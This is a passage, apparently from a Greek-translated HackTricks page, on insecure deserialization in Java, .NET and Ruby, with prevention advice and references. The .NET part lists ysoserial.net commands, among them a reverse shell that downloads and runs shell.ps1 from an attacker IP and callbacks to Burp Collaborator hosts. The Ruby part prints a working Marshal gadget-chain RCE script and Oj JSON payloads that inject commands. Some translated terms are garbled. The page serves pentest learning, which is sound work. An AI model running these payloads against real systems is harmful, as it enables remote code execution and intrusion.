- Αν θέλετε να δοκιμάσετε μερικά ysoserial payloads μπορείτε να τρέξετε αυτή την εφαρμογή ιστού: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Why
Η Java χρησιμοποιεί πολύ serialization για διάφορους σκοπούς όπως:
- HTTP requests: Η serialization χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κ.λπ.
- RMI (Remote Method Invocation): Το πρωτόκολλο Java RMI, το οποίο βασίζεται εξ ολοκλήρου στη serialization, είναι θεμέλιο για την απομακρυσμένη επικοινωνία σε εφαρμογές Java.
- RMI over HTTP: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java που βασίζονται σε thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων.
- JMX (Java Management Extensions): Το JMX χρησιμοποιεί serialization για τη μετάδοση αντικειμένων μέσω του δικτύου.
- Custom Protocols: Στην Java, η τυπική πρακτική περιλαμβάνει τη μετάδοση ακατέργαστων αντικειμένων Java, κάτι που θα αποδειχθεί σε επερχόμενα παραδείγματα εκμετάλλευσης.
Prevention
Transient objects
Μια κλάση που υλοποιεί το Serializable
μπορεί να υλοποιήσει ως transient
οποιοδήποτε αντικείμενο μέσα στην κλάση που δεν θα πρέπει να είναι serializable. Για παράδειγμα:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Αποφύγετε την σειριοποίηση μιας κλάσης που πρέπει να υλοποιεί το Serializable
Σε σενάρια όπου ορισμένα αντικείμενα πρέπει να υλοποιούν τη διεπαφή Serializable
λόγω ιεραρχίας κλάσεων, υπάρχει κίνδυνος ακούσιας αποσειριοποίησης. Για να το αποτρέψετε αυτό, βεβαιωθείτε ότι αυτά τα αντικείμενα είναι μη αποσειριοποιήσιμα ορίζοντας μια final
readObject()
μέθοδο που ρίχνει πάντα μια εξαίρεση, όπως φαίνεται παρακάτω:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Ενίσχυση της Ασφάλειας Αποσυναρμολόγησης στην Java
Η προσαρμογή του java.io.ObjectInputStream
είναι μια πρακτική προσέγγιση για την ασφάλιση των διαδικασιών αποσυναρμολόγησης. Αυτή η μέθοδος είναι κατάλληλη όταν:
- Ο κώδικας αποσυναρμολόγησης είναι υπό τον έλεγχό σας.
- Οι κλάσεις που αναμένονται για αποσυναρμολόγηση είναι γνωστές.
Αντικαταστήστε τη μέθοδο resolveClass()
για να περιορίσετε την αποσυναρμολόγηση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την αποσυναρμολόγηση οποιασδήποτε κλάσης εκτός από αυτές που επιτρέπονται ρητά, όπως στο παρακάτω παράδειγμα που περιορίζει την αποσυναρμολόγηση μόνο στην κλάση Bicycle
:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Χρησιμοποιώντας έναν Java Agent για την Ενίσχυση της Ασφάλειας προσφέρει μια εναλλακτική λύση όταν η τροποποίηση του κώδικα δεν είναι δυνατή. Αυτή η μέθοδος εφαρμόζεται κυρίως για μαύρη λίστα επιβλαβών κλάσεων, χρησιμοποιώντας μια παράμετρο JVM:
-javaagent:name-of-agent.jar
Παρέχει έναν τρόπο για να ασφαλίσετε τη διαδικασία αποσυμπίεσης δυναμικά, ιδανικό για περιβάλλοντα όπου οι άμεσες αλλαγές κώδικα είναι μη πρακτικές.
Δείτε ένα παράδειγμα στο rO0 by Contrast Security
Εφαρμογή Φίλτρων Σειριοποίησης: Η Java 9 εισήγαγε φίλτρα σειριοποίησης μέσω της διεπαφής ObjectInputFilter
, παρέχοντας έναν ισχυρό μηχανισμό για τον καθορισμό κριτηρίων που πρέπει να πληρούν τα σειριοποιημένα αντικείμενα πριν αποσυμπιεστούν. Αυτά τα φίλτρα μπορούν να εφαρμοστούν παγκοσμίως ή ανά ροή, προσφέροντας λεπτομερή έλεγχο στη διαδικασία αποσυμπίεσης.
Για να χρησιμοποιήσετε φίλτρα σειριοποίησης, μπορείτε να ορίσετε ένα παγκόσμιο φίλτρο που εφαρμόζεται σε όλες τις λειτουργίες αποσυμπίεσης ή να το ρυθμίσετε δυναμικά για συγκεκριμένες ροές. Για παράδειγμα:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Αξιοποίηση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια: Βιβλιοθήκες όπως οι NotSoSerial, jdeserialize και Kryo προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυναρμολόγησης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυναρμολόγηση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης.
- NotSoSerial παρεμβαίνει στις διαδικασίες αποσυναρμολόγησης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.
- jdeserialize επιτρέπει την ανάλυση σειριοποιημένων αντικειμένων Java χωρίς να τα αποσυναρμολογεί, βοηθώντας στην αναγνώριση δυνητικά κακόβουλου περιεχομένου.
- Kryo είναι ένα εναλλακτικό πλαίσιο σειριοποίησης που δίνει έμφαση στην ταχύτητα και την αποδοτικότητα, προσφέροντας ρυθμιζόμενες στρατηγικές σειριοποίησης που μπορούν να ενισχύσουν την ασφάλεια.
Αναφορές
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Ομιλία για την αποσυναρμολόγηση και το ysoserial: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Ομιλία για το gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 και διαφάνειες: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Έγγραφο Marshalsec: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Έγγραφο για την αποσυναρμολόγηση JSON Java και .Net: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, ομιλία: https://www.youtube.com/watch?v=oUAeWhW5b8c και διαφάνειες: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- CVEs αποσυναρμολόγησης: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Βρείτε τι είναι το JNDI Injection, πώς να το εκμεταλλευτείτε μέσω RMI, CORBA & LDAP και πώς να εκμεταλλευτείτε το log4shell (και ένα παράδειγμα αυτής της ευπάθειας) στην παρακάτω σελίδα:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}
JMS - Java Message Service
Η Java Message Service (JMS) API είναι μια Java API προσανατολισμένη σε μηνύματα για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων πελατών. Είναι μια υλοποίηση για την αντιμετώπιση του προβλήματος παραγωγού-καταναλωτή. Η JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE) και ορίστηκε από μια προδιαγραφή που αναπτύχθηκε από την Sun Microsystems, αλλά από τότε καθοδηγείται από τη διαδικασία της κοινότητας Java. Είναι ένα πρότυπο μηνυμάτων που επιτρέπει στα συστατικά εφαρμογών που βασίζονται σε Java EE να δημιουργούν, να στέλνουν, να λαμβάνουν και να διαβάζουν μηνύματα. Επιτρέπει την επικοινωνία μεταξύ διαφορετικών συστατικών μιας κατανεμημένης εφαρμογής να είναι χαλαρά συνδεδεμένη, αξιόπιστη και ασύγχρονη. (Από Wikipedia).
Προϊόντα
Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το middleware για να στέλνουν μηνύματα:
Εκμετάλλευση
Έτσι, βασικά υπάρχουν πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο. Επομένως, αν έχετε αρκετά προνόμια για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε κακόβουλα αντικείμενα που θα σειριοποιηθούν και θα αποσυναρμολογηθούν από τον καταναλωτή/συνδρομητή.
Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι πελάτες που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν.
Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυναρμολογεί ανασφαλώς την είσοδο του χρήστη) θα χρειαστεί να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.
Το εργαλείο JMET δημιουργήθηκε για να συνδεθεί και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας διάφορα κακόβουλα αντικείμενα που σειριοποιούνται χρησιμοποιώντας γνωστά gadgets. Αυτές οι εκμεταλλεύσεις θα λειτουργήσουν αν η υπηρεσία είναι ακόμα ευάλωτη και αν κάποιο από τα χρησιμοποιούμενα gadgets είναι μέσα στην ευάλωτη εφαρμογή.
Αναφορές
- Ομιλία JMET: https://www.youtube.com/watch?v=0h8DWiOWGGA
- Διαφάνειες: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
Στο πλαίσιο του .Net, οι εκμεταλλεύσεις αποσυναρμολόγησης λειτουργούν με τρόπο παρόμοιο με εκείνες που βρίσκονται στην Java, όπου τα gadgets εκμεταλλεύονται για να εκτελέσουν συγκεκριμένο κώδικα κατά την αποσυναρμολόγηση ενός αντικειμένου.
Αποτύπωμα
WhiteBox
Ο πηγαίος κώδικας θα πρέπει να ελεγχθεί για περιπτώσεις των:
TypeNameHandling
JavaScriptTypeResolver
Η προσοχή θα πρέπει να εστιάζεται σε σειριοποιητές που επιτρέπουν τον προσδιορισμό του τύπου από μια μεταβλητή υπό τον έλεγχο του χρήστη.
BlackBox
Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά AAEAAAD///// ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυναρμολόγηση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυναρμολογηθεί. Αυτό θα μπορούσε να περιλαμβάνει, αλλά δεν περιορίζεται σε, JSON ή XML δομές που περιλαμβάνουν TypeObject
ή $type
.
ysoserial.net
Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο ysoserial.net προκειμένου να δημιουργήσετε τις εκμεταλλεύσεις αποσυναρμολόγησης. Αφού κατεβάσετε το git repository θα πρέπει να συγκεντρώσετε το εργαλείο χρησιμοποιώντας το Visual Studio για παράδειγμα.
Αν θέλετε να μάθετε για πώς δημιουργεί το ysoserial.net την εκμετάλλευσή του μπορείτε να ελέγξετε αυτή τη σελίδα όπου εξηγείται το gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.
Οι κύριες επιλογές του ysoserial.net είναι: --gadget
, --formatter
, --output
και --plugin
.
--gadget
χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτεί (υποδείξτε την κλάση/συνάρτηση που θα εκμεταλλευτεί κατά την αποσυναρμολόγηση για να εκτελέσει εντολές).--formatter
, χρησιμοποιείται για να υποδείξει τη μέθοδο για τη σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το back-end για να αποσυναρμολογήσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε)--output
χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε raw ή base64 κωδικοποιημένη. Σημειώστε ότι το ysoserial.net θα κωδικοποιήσει το payload χρησιμοποιώντας UTF-16LE (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια προβλήματα συμβατότητας κωδικοποίησης που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργεί πάντα).--plugin
το ysoserial.net υποστηρίζει plugins για τη δημιουργία εκμεταλλεύσεων για συγκεκριμένα πλαίσια όπως το ViewState
Περισσότερες παράμετροι ysoserial.net
--minify
θα παρέχει ένα μικρότερο payload (αν είναι δυνατόν)--raf -f Json.Net -c "anything"
Αυτό θα υποδείξει όλα τα gadgets που μπορούν να χρησιμοποιηθούν με έναν παρεχόμενο formatter (Json.Net
σε αυτή την περίπτωση)--sf xml
μπορείτε να υποδείξετε ένα gadget (-g
) και το ysoserial.net θα αναζητήσει formatters που περιέχουν "xml" (χωρίς διάκριση πεζών-κεφαλαίων)
Παραδείγματα ysoserial για τη δημιουργία εκμεταλλεύσεων:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net έχει επίσης μια πολύ ενδιαφέρουσα παράμετρο που βοηθά να κατανοήσετε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: --test
Αν υποδείξετε αυτή την παράμετρο, ysoserial.net θα δοκιμάσει την εκμετάλλευση τοπικά, ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.
Αυτή η παράμετρος είναι χρήσιμη γιατί αν αναθεωρήσετε τον κώδικα θα βρείτε κομμάτια κώδικα όπως το παρακάτω (από ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Αυτό σημαίνει ότι προκειμένου να δοκιμαστεί η εκμετάλλευση, ο κώδικας θα καλέσει serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
In the προηγούμενος κώδικας είναι ευάλωτος στην εκμετάλλευση που δημιουργήθηκε. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανώς αυτή η εφαρμογή είναι επίσης ευάλωτη.
Επομένως, η --test
παράμετρος μας επιτρέπει να κατανοήσουμε ποια κομμάτια κώδικα είναι ευάλωτα στην εκμετάλλευση της αποσειριοποίησης που μπορεί να δημιουργήσει το ysoserial.net.
ViewState
Ρίξτε μια ματιά σε αυτή την POST σχετικά με το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο __ViewState του .Net για να εκτελέσετε αυθαίρετο κώδικα. Αν γνωρίζετε ήδη τα μυστικά που χρησιμοποιούνται από τη μηχανή του θύματος, διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα.
Prevention
Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσειριοποίηση στο .Net:
- Αποφύγετε να επιτρέπετε στις ροές δεδομένων να ορίζουν τους τύπους αντικειμένων τους. Χρησιμοποιήστε
DataContractSerializer
ήXmlSerializer
όταν είναι δυνατόν. - Για το
JSON.Net
, ορίστε τοTypeNameHandling
σεNone
: %%%TypeNameHandling = TypeNameHandling.None%%% - Αποφύγετε τη χρήση του
JavaScriptSerializer
με ένανJavaScriptTypeResolver
. - Περιορίστε τους τύπους που μπορούν να αποσειριοποιηθούν, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το
System.IO.FileInfo
, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας. - Να είστε προσεκτικοί με τους τύπους που έχουν επικίνδυνες ιδιότητες, όπως το
System.ComponentModel.DataAnnotations.ValidationException
με την ιδιότηταValue
, η οποία μπορεί να εκμεταλλευτεί. - Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσειριοποίησης, καθιστώντας ακόμη και το
DataContractSerializer
ή τοXmlSerializer
ευάλωτα. - Εφαρμόστε ελέγχους λευκής λίστας χρησιμοποιώντας έναν προσαρμοσμένο
SerializationBinder
για τοBinaryFormatter
και τοJSON.Net
. - Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή εργαλεία αποσειριοποίησης εντός του .Net και διασφαλίστε ότι οι αποσειριοποιητές δεν δημιουργούν τέτοιους τύπους.
- Απομονώστε τον δυνητικά επικίνδυνο κώδικα από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών εργαλείων, όπως το
System.Windows.Data.ObjectDataProvider
σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων.
References
- Java και .Net JSON αποσειριοποίηση έγγραφο: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, ομιλία: https://www.youtube.com/watch?v=oUAeWhW5b8c και διαφάνειες: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Στην Ruby, η αποσειριοποίηση διευκολύνεται από δύο μεθόδους μέσα στη βιβλιοθήκη marshal. Η πρώτη μέθοδος, γνωστή ως dump, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποσειριοποίηση. Αντίθετα, η δεύτερη μέθοδος, load, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσειριοποίηση.
Για την ασφάλεια των αποσειριοποιημένων αντικειμένων, η Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code), διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτό το σκοπό αποθηκεύεται σε μία από πολλές πιθανές τοποθεσίες:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X γενική αποσειριοποίηση σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Άλλες αλυσίδες RCE για εκμετάλλευση του Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Μέθοδος Ruby .send()
Όπως εξηγείται σε αυτή την αναφορά ευπάθειας, αν κάποια μη φιλτραρισμένη είσοδος χρήστη φτάσει στη μέθοδο .send()
ενός αντικειμένου ruby, αυτή η μέθοδος επιτρέπει να καλέσετε οποιαδήποτε άλλη μέθοδο του αντικειμένου με οποιαδήποτε παραμέτρους.
Για παράδειγμα, η κλήση eval και στη συνέχεια κώδικα ruby ως δεύτερη παράμετρος θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα:
{% code overflow="wrap" %}
<Object>.send('eval', '<user input with Ruby code>') == RCE
{% endcode %}
Επιπλέον, αν μόνο μία παράμετρος της .send()
ελέγχεται από έναν επιτιθέμενο, όπως αναφέρθηκε στην προηγούμενη περιγραφή, είναι δυνατόν να κληθεί οποιαδήποτε μέθοδος του αντικειμένου που δεν χρειάζεται παραμέτρους ή των οποίων οι παράμετροι έχουν προεπιλεγμένες τιμές.
Για αυτό, είναι δυνατόν να απαριθμηθούν όλες οι μέθοδοι του αντικειμένου για να βρεθούν κάποιες ενδιαφέρουσες μέθοδοι που πληρούν αυτές τις απαιτήσεις.
{% code overflow="wrap" %}
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
{% endcode %}
Άλλες βιβλιοθήκες
Αυτή η τεχνική ελήφθη από αυτήν την ανάρτηση στο blog.
Υπάρχουν άλλες βιβλιοθήκες Ruby που μπορούν να χρησιμοποιηθούν για την σειριοποίηση αντικειμένων και επομένως θα μπορούσαν να καταχραστούν για να αποκτήσουν RCE κατά τη διάρκεια μιας ανασφαλούς αποσειριοποίησης. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλούν από τη φορτωμένη βιβλιοθήκη όποτε αποσειριοποιούνται (λειτουργία προς κατάχρηση για να αποκτήσετε RCE βασικά):
Βιβλιοθήκη | Δεδομένα εισόδου | Μέθοδος εκκίνησης μέσα στην κλάση |
Marshal (Ruby) | Δυαδικά | _load |
Oj | JSON | hash (η κλάση πρέπει να τοποθετηθεί σε hash(map) ως κλειδί) |
Ox | XML | hash (η κλάση πρέπει να τοποθετηθεί σε hash(map) ως κλειδί) |
Psych (Ruby) | YAML | hash (η κλάση πρέπει να τοποθετηθεί σε hash(map) ως κλειδί)init_with |
JSON (Ruby) | JSON | json_create ([δείτε σημειώσεις σχετικά με json_create στο τέλος](#table-vulnerable-sinks)) |
Βασικό παράδειγμα:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Στην περίπτωση που προσπαθήσαμε να εκμεταλλευτούμε το Oj, ήταν δυνατό να βρούμε μια κλάση gadget που μέσα στη συνάρτηση hash
της θα καλούσε το to_s
, το οποίο θα καλούσε το spec, το οποίο θα καλούσε το fetch_path, το οποίο ήταν δυνατό να το κάνουμε να ανακτήσει μια τυχαία διεύθυνση URL, παρέχοντας έναν εξαιρετικό ανιχνευτή αυτού του είδους των μη καθαρισμένων ευπαθειών αποσυμπίεσης.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}
Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος είναι απαραίτητος για την κατάχρηση μιας άλλης συσκευής προκειμένου να μετατραπεί αυτό σε πλήρη RCE με κάτι σαν:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Ελέγξτε για περισσότερες λεπτομέρειες στην πρωτότυπη ανάρτηση.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.